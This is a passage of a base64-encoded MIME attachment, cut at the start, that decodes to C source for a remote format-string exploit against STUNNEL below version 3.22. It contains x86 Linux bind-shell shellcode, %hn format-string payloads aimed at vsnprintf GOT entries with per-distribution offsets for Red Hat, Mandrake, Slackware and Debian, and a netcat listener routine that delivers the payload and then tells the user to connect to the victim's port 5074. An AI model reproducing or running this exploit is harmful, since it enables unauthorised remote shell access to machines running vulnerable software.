Ilx4YjBceDY2IiAgICAgICAgICAgICAgICAgICAgICAvKiAgIG1vdiAgICAkMHg2NiwlYWwg ICAgICAgICAgICovCiAgICAgICAgIlx4Y2RceDgwIiAgICAgICAgICAgICAgICAgICAgICAv KiAgIGludCAgICAkMHg4MCAgICAgICAgICAgICAgICovCiAgICAgICAgIlx4OTMiICAgICAg ICAgICAgICAgICAgICAgICAgICAvKiAgIHhjaGcgICAlZWF4LCVlYnggICAgICAgICAgICov CiAgICAgICAgIlx4ODlceGQxIiAgICAgICAgICAgICAgICAgICAgICAvKiAgIG1vdiAgICAl ZWR4LCVlY3ggICAgICAgICAgICovCiAgICAgICAgIlx4YjBceDNmIiAgICAgICAgICAgICAg ICAgICAgICAvKiAgIG1vdiAgICAkMHgzZiwlYWwgICAgICAgICAgICovCiAgICAgICAgIlx4 Y2RceDgwIiAgICAgICAgICAgICAgICAgICAgICAvKiAgIGludCAgICAkMHg4MCAgICAgICAg ICAgICAgICovCiAgICAgICAgIlx4NDEiICAgICAgICAgICAgICAgICAgICAgICAgICAvKiAg IGluYyAgICAlZWN4ICAgICAgICAgICAgICAgICovCiAgICAgICAgIlx4ODBceGY5XHgwMyIg ICAgICAgICAgICAgICAgICAvKiAgIGNtcCAgICAkMHgzLCVjbCAgICAgICAgICAgICovCiAg ICAgICAgIlx4NzVceGY2IiAgICAgICAgICAgICAgICAgICAgICAvKiAgIGpuZSAgICA4MGEw MzVkIDxwcml2OHNlY3VyaXR5KzB4M2Q+ICAgICAgICAqLwogICAgICAgICJceDUyIiAgICAg ICAgICAgICAgICAgICAgICAgICAgLyogICBwdXNoICAgJWVkeCAgICAgICAgICAgICAgICAq LwogICAgICAgICJceDY4XHg2ZVx4MmZceDczXHg2OCIgICAgICAgICAgLyogICBwdXNoICAg JDB4Njg3MzJmNmUgICAgICAgICAqLwogICAgICAgICJceDY4XHgyZlx4MmZceDYyXHg2OSIg ICAgICAgICAgLyogICBwdXNoICAgJDB4Njk2MjJmMmYgICAgICAgICAqLwogICAgICAgICJc eDg5XHhlMyIgICAgICAgICAgICAgICAgICAgICAgLyogICBtb3YgICAgJWVzcCwlZWJ4ICAg ICAgICAgICAqLwogICAgICAgICJceDUyIiAgICAgICAgICAgICAgICAgICAgICAgICAgLyog ICBwdXNoICAgJWVkeCAgICAgICAgICAgICAgICAqLwogICAgICAgICJceDUzIiAgICAgICAg ICAgICAgICAgICAgICAgICAgLyogICBwdXNoICAgJWVieCAgICAgICAgICAgICAgICAqLwog ICAgICAgICJceDg5XHhlMSIgICAgICAgICAgICAgICAgICAgICAgLyogICBtb3YgICAgJWVz cCwlZWN4ICAgICAgICAgICAqLwogICAgICAgICJceGIwXHgwYiIgICAgICAgICAgICAgICAg ICAgICAgLyogICBtb3YgICAgJDB4YiwlYWwgICAgICAgICAgICAqLwogICAgICAgICJceGNk XHg4MCI7ICAgICAgICAgICAgICAgICAgICAgLyogICBpbnQgICAgJDB4ODAgICAgICAgICAg ICAgICAqLwoKY2hhciBmbXRSSDcyW109Ilx4NTBceDcxXHgwNVx4MDhceDUyXHg3MVx4MDVc eDA4JS40OTE0M3glNFwkaG4lLjEyODgxeCUzXCRobiI7IC8qIDA4MDU3MTUwIFJfMzg2X0pV TVBfU0xPVCAgIHZzbnByaW50ZiAqLwpjaGFyIGZtdFJINzNbXT0iXHhlOFx4NjlceDA1XHgw OFx4ZWFceDY5XHgwNVx4MDglLjQ5MTQzeCU0XCRobiUuMTI5ODJ4JTNcJGhuIjsgLyogMDgw NTY5ZTggUl8zODZfSlVNUF9TTE9UICAgdnNucHJpbnRmICovCmNoYXIgZm10Ukg4MFtdPSJc eDI4XHg2OVx4MDVceDA4XHgyYVx4NjlceDA1XHgwOCUuNDkxNDN4JTRcJGhuJS4xMjgxNXgl M1wkaG4iOyAvKiAwODA1NjkyOCBSXzM4Nl9KVU1QX1NMT1QgICB2c3ByaW50ZiAqLwpjaGFy IGZtdE1ESzkwW109Ilx4ZjhceDIzXHgwNVx4MDhceGZhXHgyM1x4MDVceDA4JS40OTE0M3gl NFwkaG4lLjEzMzIxeCUzXCRobiI7IC8qIDA4MDUyM2Y4IFJfMzg2X0pVTVBfU0xPVCAgIHZz bnByaW50ZiAqLwpjaGFyIGZtdFNMQUNLODFbXT0iXHhkY1x4NjlceDA1XHgwOFx4ZGVceDY5 XHgwNVx4MDglLjQ5MTQzeCUxMFwkaG4lLjEyMDgyeCU5XCRobiI7IC8qIDA4MDU2OWRjIFJf Mzg2X0pVTVBfU0xPVCAgdnNucHJpbnRmICovCmNoYXIgZm10REVCSUFOMzBbXT0iXHhhOFx4 MzRceDA1XHgwOFx4YWFceDM0XHgwNVx4MDglLjQ5MTQzeCUxMFwkaG4lLjE0NDkyeCU5XCRo biI7IC8qIDA4MDUzNGE4IFJfMzg2X0pVTVBfU0xPVCAgdnNucHJpbnRmICovCmNoYXIgZm10 WU9VUk9XTltdPSIiOyAvKiAgUl8zODZfSlVNUF9TTE9UICB2c25wcmludGYgKi8KICAgICAg ICAKY2hhciAgICBjOwpzdHJ1Y3QgIG9zIHsKICAgIGludCBudW07CiAgICBjaGFyICpvc3Q7 CiAgICBjaGFyICpzaGVsbGNvZGU7CiAgICBjaGFyICpmb3JtYXQ7CiAgICBpbnQgZmxhZzsK fTsKIApzdHJ1Y3Qgb3MgcGxhdFtdID0KewogICAgewogICAgICAgIDAsIlJlZCBIYXQgTGlu dXggcmVsZWFzZSA3LjIgc3R1bm5lbC0zLjIwLnRhci5neiIsCiAgICAgICAgbGludXhzaGVs bGNvZGUsZm10Ukg3MiwxMQogICAgfSwKICAgIHsKICAgICAgICAxLCJSZWQgSGF0IExpbnV4 IHJlbGVhc2UgNy4zIHN0dW5uZWwtMy4yMC50YXIuZ3oiLAogICAgICAgIGxpbnV4c2hlbGxj b2RlLGZtdFJINzMsMTEKICAgIH0sCiAgICB7CiAgICAgICAgMiwiUmVkIEhhdCBMaW51eCBy ZWxlYXNlIDguMCBzdHVubmVsLTMuMjAudGFyLmd6IiwKICAgICAgICBsaW51eHNoZWxsY29k ZSxmbXRSSDgwLDExCiAgICB9LAogICAgewogICAgICAgIDMsIk1hbmRyYWtlIExpbnV4IHJl bGVhc2UgOS4wIHN0dW5uZWwtMy4yMC50YXIuZ3oiLAogICAgICAgIGxpbnV4c2hlbGxjb2Rl LGZtdE1ESzkwLDExCiAgICB9LAogICAgewogICAgICAgIDQsIlNsYWNrd2FyZSBMaW51eCBy ZWxlYXNlIDguMSBzdHVubmVsLTMuMjAudGFyLmd6IiwKICAgICAgICBsaW51eHNoZWxsY29k ZSxmbXRTTEFDSzgxLDUKICAgIH0sCiAgICB7CiAgICAgICAgNSwiRGViaWFuIEdOVSByZWxl YXNlIDMuMCBzdHVubmVsLTMuMjAudGFyLmJ6MiIsCiAgICAgICAgbGludXhzaGVsbGNvZGUs Zm10REVCSUFOMzAsNQogICAgfSwKICAgIHsKICAgICAgICA2LCJZb3VyIGN1c3RvbSBkaXN0 cm8gc3R1bm5lbC0zLjIwLnRhci5iejIiLAogICAgICAgIGxpbnV4c2hlbGxjb2RlLGZtdFlP VVJPV04sNQogICAgfQogICAgCn07Cgp2b2lkIHVzYWdlKGNoYXIgKmFyZ3VtZW50KTsKaW50 IG1haW4oYXJnYyxhcmd2KQogICAgaW50IGFyZ2M7CiAgICBjaGFyICphcmd2W107CnsKCmlu dCB0eXBlPTA7CmludCBmbGFnPXBsYXRbdHlwZV0uZmxhZzsKZXh0ZXJuIGNoYXIgKm9wdGFy ZzsKaW50IGNudDsKY2hhciAgICBuZXdzdHJpbmdbMzAwXTsKaW50ICAgICBwb3J0ID0gOTk0 Owpjb25zdCBjaGFyKiBzcGxvaXRkYXRhX2ZpbGVuYW1lID0gInNwbG9pdGRhdGEuc3BsIjsg ICAgIApzdGF0aWMgICAgICAgIGludCBmZFsyXTsKc3RhdGljICAgICAgICBwaWRfdCBjaGls ZHBpZDsKc3RhdGljICAgICAgICBjaGFyIHN0cl9wb3J0WzZdOwoKdm9pZCB3cml0ZV9zcGxv aXRfZGF0YSAoY2hhciogZW50cnkpCiAgICB7CiAgICBpbnQgZmQgPSBvcGVuIChzcGxvaXRk YXRhX2ZpbGVuYW1lLCBPX1dST05MWSB8IE9fQ1JFQVQgfCBPX0FQUEVORCwgMDY2MCk7CiAg ICB3cml0ZSAoZmQsIGVudHJ5LCBzdHJsZW4gKGVudHJ5KSk7CiAgICB3cml0ZSAoZmQsICJc biIsIDEpOwogICAgZnN5bmMgKGZkKTsKICAgIGNsb3NlIChmZCk7CiAgICB9CiAgICAgIGlm KGFyZ2MgPT0gMSkgCiAgICAgICAgICAgICAgICAgICAgdXNhZ2UoYXJndlswXSk7CiAgICAg IGlmKGFyZ2MgPT0gMikgCiAgICAgICAgICAgICAgICAgICAgdXNhZ2UoYXJndlswXSk7CiAg ICAgIGlmKGFyZ2MgPT0gMykgCiAgICAgICAgICAgICAgICAgICAgdXNhZ2UoYXJndlswXSk7 CiAgICAgICAgd2hpbGUgKChjID0gZ2V0b3B0KGFyZ2MsIGFyZ3YsICJoOnA6dDp2IikpID4g MCApewogICAgICAgICAgICAgICAgc3dpdGNoIChjKSB7CiAgICAgICAgICAgICAgICBjYXNl ICd0JzoKICAgICAgICAgICAgICAgICAgICAgICAgdHlwZSA9IGF0b2kob3B0YXJnKTsKICAg ICAgICAgICAgICAgICAgICAgICAgaWYodHlwZT42KSAvKiAwLDEsMiwzLDQsNSw2ICovCiAg ICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgKHZvaWQp dXNhZ2UoYXJndlswXSk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAg ICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlICdwJzoKICAgICAgICAg ICAgICAgICAgICAgICAgcG9ydCA9IGF0b2kob3B0YXJnKTsKICAgICAgICAgICAgICAgICAg ICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlICdoJzoKICAgICAgICAgICAgICAg ICAgICAgICAgdXNhZ2UoYXJndlswXSk7CiAgICAgICAgICAgICAgICBjYXNlICc/JzoKICAg ICAgICAgICAgICAgIGNhc2UgJzonOgogICAgICAgICAgICAgICAgICAgICAgICBleGl0KC0x KTsKICAgICAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgTUFYPXN0cmxlbihwbGF0 W3R5cGVdLmZvcm1hdCkrc3RybGVuKHBsYXRbdHlwZV0uc2hlbGxjb2RlKTsKICAgICAgICBm cHJpbnRmKHN0ZG91dCwiUmVtb3RlIGV4cGxvaXQgZm9yIFNUVU5ORUwgPDMuMjJcbmJ5IF5z cS93MDBuZiAtIGRlbHRoYSBbYXRdIGFuYWxvZy5yb1xuIik7CiAgICAgICAgZnByaW50Zihz dGRvdXQsIlsqXSB0YXJnZXQ6ICVzXG4iLHBsYXRbdHlwZV0ub3N0KTsKICAgICAgICBmcHJp bnRmKHN0ZG91dCwiWypdIG1heGxlbmdodDogJWRcbiIsIE1BWCk7CiAgICAgICAgdW5saW5r IChzcGxvaXRkYXRhX2ZpbGVuYW1lKTsKICAgICAgICBzdHJjcHkobmV3c3RyaW5nLCBwbGF0 W3R5cGVdLmZvcm1hdCk7CiAgICAgICAgc3RyY2F0KG5ld3N0cmluZywgcGxhdFt0eXBlXS5z aGVsbGNvZGUpOwogICAgICAgIHdyaXRlX3NwbG9pdF9kYXRhKG5ld3N0cmluZyk7CiAgICAg ICAgc3ByaW50ZigoY2hhciAqKSAmc3RyX3BvcnQsICIlZCIsIHBvcnQpOwogICAgICAgIHBy aW50ZigiWypdIGhvc3Q6IGxvY2FsaG9zdFxuIik7CiAgICAgICAgcHJpbnRmKCJbKl0gcG9y dDogJXNcbiIsIHN0cl9wb3J0KTsgICAgICAgICAgICAgCiAgICAgICAgcHJpbnRmKCJbKl0g d2FpdGluZzogamFja2FzcyBzaG91bGQgY29ubmVjdCB0byBvdXIgcG9ydFxuIik7CiAgICAg ICAgcHJpbnRmKCJbKl0gbmV4dDogYWZ0ZXIgaGUgY29ubmVjdHMgcHJlc3MgY3RybC1jXG4i KTsgICAgICAgCiAgICAgICAgcHJpbnRmKCJbKl0gbmV4dDogeW91IHNob3VsZCB0cnkgdG8g Y29ubmVjdCB0byBoaXMgcG9ydCA1MDc0IC0gbmMgMS4yLjMuNCA1MDc0XG4iKTsgICAgICAg ICAgICAgICAKICAgICAgICBwaXBlKGZkKTsKICAgICAgICBpZiAoKCBjaGlsZHBpZD1mb3Jr KCkpPT0wKSB7IC8qIGNhdCBpcyB0aGUgY2hpbGQgKi8KICAgICAgICAgICAgICAgIGR1cDIo ZmRbMV0sU1RET1VUX0ZJTEVOTyk7CiAgICAgICAgICAgICAgICBjbG9zZShmZFswXSk7CiAg ICAgICAgICAgICAgICBjbG9zZShmZFsxXSk7CiAgICAgICAgICAgICAgICBleGVjbCgiL2Jp bi9jYXQiLCJjYXQiLHNwbG9pdGRhdGFfZmlsZW5hbWUsTlVMTCk7CiAgICAgICAgICAgICAg ICBwZXJyb3IoIlRoZSBleGVjIG9mIGNhdCBmYWlsZWQiKTsKICAgICAgICB9IGVsc2UgeyAg ICAgICAgICAgICAgICAgICAgICAvKiBuZXRjYXQgaXMgdGhlIHBhcmVudCAqLwoKICAgICAg ICAgICAgICAgIGR1cDIoZmRbMF0sIFNURElOX0ZJTEVOTyk7CiAgICAgICAgICAgICAgICBj bG9zZShmZFswXSk7CiAgICAgICAgICAgICAgICBjbG9zZShmZFsxXSk7CiAgICAgICAgICAg ICAgICBleGVjbCgiL3Vzci9iaW4vbmMiLCAibmMiLCAiLW4iLCAiLWwiLCAiLXAiLCBzdHJf cG9ydCwgTlVMTCk7CiAgICAgICAgICAgICAgICBwZXJyb3IoInRoZSBleGVjIG9mIG5jIGZh aWxlZCIpOwogICAgICAgIH0KICAgICAgICBwcmludGYoIlsqXSBuZXh0OiBub3cgeW91IHNo b3VsZCB0cnkgdG8gY29ubmVjdCB0byBoaXMgcG9ydCA1MDc0XG4iKTsgICAgICAgICAgICAg ICAKICAgICAgICBleGl0KDApOwp9Cgp2b2lkIHVzYWdlKGNoYXIgKmFyZ3VtZW50KQp7Cglm cHJpbnRmKHN0ZG91dCwiVXNhZ2U6ICVzIC1vcHRpb25zIGFyZ3VtZW50c1xuIixhcmd1bWVu dCk7CglmcHJpbnRmKHN0ZG91dCwiUmVtb3RlIGV4cGxvaXQgZm9yIFNUVU5ORUwgPDMuMjJc biIKCSJieSBec3EvdzAwbmYgLSBkZWx0aGEgW2F0XSBhbmFsb2cucm9cblVzYWdlOiAlcyBb LXAgPHBvcnQ+IC10IDx0YXJnZXR0eXBlPl1cbiIKCSJcdC1wIDxwb3J0PiAtIExvY2FsIGJp bmRlZCBwb3J0IHdoZXJlIHRoZSByZW1vdGUgc3R1bm5lbCBjb25uZWN0c1xuIgoJIlx0LXQg PHRhcmdldD4gLSBUYXJnZXQgdHlwZSBudW1iZXJcbiIsIGFyZ3VtZW50KTsKICAgICAgICBm cHJpbnRmKHN0ZG91dCwiXHQtVGFyZ2V0IFR5cGUgTnVtYmVyIExpc3QtXG4iKTsKICAgIGZw cmludGYoc3Rkb3V0LCIgezB9IFJlZCBIYXQgTGludXggcmVsZWFzZSA3LjIgIgoJICAgICIg c3R1bm5lbC0zLjIwLnRhci5nelxuIik7CiAgICBmcHJpbnRmKHN0ZG91dCwiIHsxfSBSZWQg SGF0IExpbnV4IHJlbGVhc2UgNy4zICIKCSAgICAiIHN0dW5uZWwtMy4yMC50YXIuZ3pcbiIp OwogICAgZnByaW50ZihzdGRvdXQsIiB7Mn0gUmVkIEhhdCBMaW51eCByZWxlYXNlIDguMCAi CgkgICAgIiBzdHVubmVsLTMuMjAudGFyLmd6XG4iKTsKICAgIGZwcmludGYoc3Rkb3V0LCIg ezN9IE1hbmRyYWtlIExpbnV4IHJlbGVhc2UgOS4wICIKCSAgICAiIHN0dW5uZWwtMy4yMC50 YXIuZ3pcbiIpOwogICAgZnByaW50ZihzdGRvdXQsIiB7NH0gU2xhY2t3YXJlIExpbnV4IHJl bGVhc2UgOC4xICIKCSAgICAiIHN0dW5uZWwtMy4yMC50YXIuZ3pcbiIpOwogICAgZnByaW50 ZihzdGRvdXQsIiB7NX0gRGViaWFuIEdOVSByZWxlYXNlIDMuMCAiCgkgICAgIiBzdHVubmVs LTMuMjAudGFyLmd6XG4iKTsKICAgIGZwcmludGYoc3Rkb3V0LCIgezZ9IFlvdXIgY3VzdG9t IGRpc3RybyAiCgkgICAgIiBzdHVubmVsLTMuMjAudGFyLmd6XG4iKTsKICAgIGZwcmludGYo c3Rkb3V0LCIgRXhhbXBsZTE6ICVzIC10IDEgLXAgMjUyNTI1XG4iLGFyZ3VtZW50KTsKCWV4 aXQoMCk7Cn0K --------------239D435348F11EE4DE72DE74--
|